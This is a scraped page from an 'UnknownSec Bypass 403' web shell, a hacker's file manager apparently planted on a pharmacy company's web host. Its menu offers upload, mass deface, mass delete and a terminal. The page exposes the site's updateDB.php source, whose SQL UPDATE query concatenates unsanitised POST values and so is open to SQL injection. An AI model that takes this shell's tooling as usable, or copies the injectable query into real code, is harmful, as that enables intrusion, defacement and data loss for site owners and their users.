UnknownSec Bypass
403
:
/
home
/
growthpharma
/
public_html
/
Master@Growth
/
menusqueance
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
updateDB.php
<?php include_once("../config.php"); ?> <?php $action = mysql_real_escape_string($_POST['action']); $updateRecordsArray = $_POST['recordsArray']; if ($action == "updateRecordsListings"){ $listingCounter = 1; foreach ($updateRecordsArray as $recordIDValue) { $query = "UPDATE menu SET orderby = " . $listingCounter . " WHERE menuid = " . $recordIDValue; mysql_query($query) or die('Error, insert query failed'); $listingCounter = $listingCounter + 1; } echo '<pre>'; //print_r($updateRecordsArray); echo '</pre>'; echo 'Menu Order Changed'; } ?>
Copyright © 2024 - UnknownSec